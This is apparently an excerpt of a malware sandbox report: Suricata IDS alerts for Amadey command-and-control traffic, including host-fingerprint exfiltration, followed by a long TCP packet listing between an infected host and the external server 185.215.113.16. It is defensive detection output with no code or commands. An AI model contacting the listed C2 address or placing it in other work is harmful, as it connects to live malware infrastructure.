Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T17:42:03.185010+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49737	185.215.113.16	80	TCP
2024-09-27T17:42:03.422402+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.4	49737	TCP
2024-09-27T17:42:03.636291+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49737	185.215.113.16	80	TCP
2024-09-27T17:42:05.763405+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49738	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 17:42:02.474972010 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:02.480042934 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:02.480129004 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:02.480288982 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:02.485177994 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.184892893 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.185009956 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.186999083 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.191853046 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.414268017 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.414423943 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.417568922 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.422401905 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636137009 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636178970 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636214018 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636246920 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636279106 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636291027 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.636312962 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636348009 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636379957 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636382103 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.636382103 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.636394978 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.636411905 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636450052 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636471987 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.636471987 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.636497974 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636533976 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.636578083 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.636578083 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.636605024 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.724539995 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.724553108 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.724647999 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.724647999 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.766791105 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.766855001 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.766886950 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.766902924 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.766938925 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.766940117 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.766978979 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.767019033 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.767065048 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.767323017 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.767353058 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.767371893 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.767399073 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.767416000 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.767451048 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.767462015 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.767482996 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.767497063 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.767517090 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.767528057 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.767571926 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.768090963 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.768122911 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.768141031 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.768172979 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.768177032 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.768223047 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.768234015 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.768270969 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.768280029 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.768313885 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.768929005 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.768961906 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.768996954 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.769036055 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.769036055 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.769046068 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.769068956 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.769079924 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.769093037 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.769124031 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.769779921 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.769813061 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.769821882 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.769855976 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.853353977 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.853425026 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.853543043 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.853585005 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.891067982 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891102076 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891134977 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891168118 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891170025 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.891196012 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.891237020 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891238928 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.891282082 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.891288042 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891319990 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891328096 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.891352892 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891360998 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.891397953 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.891902924 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891952991 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.891952991 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.891984940 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.892000914 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.892016888 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.892030001 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.892050028 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.892061949 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.892093897 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.892385006 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.892431974 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.892436981 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.892469883 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.892481089 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.892517090 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.892518997 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.892550945 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.892564058 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.892584085 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.892594099 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.892632961 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.893337011 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.893388033 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.893388033 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.893431902 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.893438101 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.893471003 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.893482924 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.893501997 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.893516064 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.893536091 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.893543005 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.893578053 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.894218922 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.894268990 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.894272089 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.894301891 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.894313097 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.894341946 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.894351006 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.894382954 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.894399881 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.894416094 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.894427061 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.894462109 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.895134926 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.895168066 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.895175934 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.895200968 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.895211935 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.895250082 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.895251036 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.895282030 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.895292997 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.895314932 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.895328999 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.895358086 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.896076918 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.896131039 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.896181107 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.896214962 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.896238089 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.896246910 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.896255016 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.896279097 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.896289110 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.896321058 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.896920919 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.896970987 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.897031069 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.897070885 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.941777945 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.941832066 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:03.941840887 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:03.941879988 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.015655041 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015681982 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015705109 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015714884 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015727997 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015731096 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.015738964 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015747070 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015762091 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015769958 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.015774012 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015784025 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015794992 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015811920 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015916109 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015928030 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015935898 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.015935898 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.015935898 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.015935898 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.015938997 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015949965 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.015958071 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.015990019 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016163111 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016175032 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016185045 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016196012 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016216993 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016233921 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016283989 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016324997 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016326904 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016335964 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016362906 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016376972 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016400099 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016411066 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016422033 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016433954 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016444921 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016473055 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016494989 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016532898 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016607046 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016647100 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016654015 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016664982 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016689062 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016710043 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016766071 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016777992 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016788960 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016801119 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016802073 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016822100 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016846895 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016864061 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.016897917 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.016972065 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017015934 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017036915 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017047882 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017077923 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017090082 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017204046 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017215014 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017225981 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017252922 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017276049 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017287016 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017297029 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017307997 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017323971 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017343998 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017395973 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017406940 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017417908 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017430067 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017436981 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017457962 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017484903 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017601967 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017612934 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017628908 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017640114 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017648935 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017652035 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017662048 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017673969 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017674923 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017684937 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017688990 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017697096 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017723083 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017744064 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.017757893 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.017796040 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.020669937 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020687103 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020705938 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020715952 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.020736933 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.020756006 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.020761013 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020771980 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020781040 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020798922 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.020833015 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.020853043 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020900011 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.020934105 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020946026 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020956039 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020967960 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020977974 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.020979881 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.020993948 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.021002054 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.021033049 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.021051884 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.021061897 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.021095991 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.021122932 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.021342993 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.021353960 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.021369934 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.021393061 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.021424055 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.030112982 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.030134916 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.030143976 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.030221939 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.030350924 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.030410051 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.030453920 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.030497074 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104406118 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104453087 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104506969 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104541063 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104542017 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104568005 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104574919 CEST	80	49737	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:04.104607105 CEST	49737	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:04.104609966 CEST	80	49737	185.215.113.16	192.168.2.4
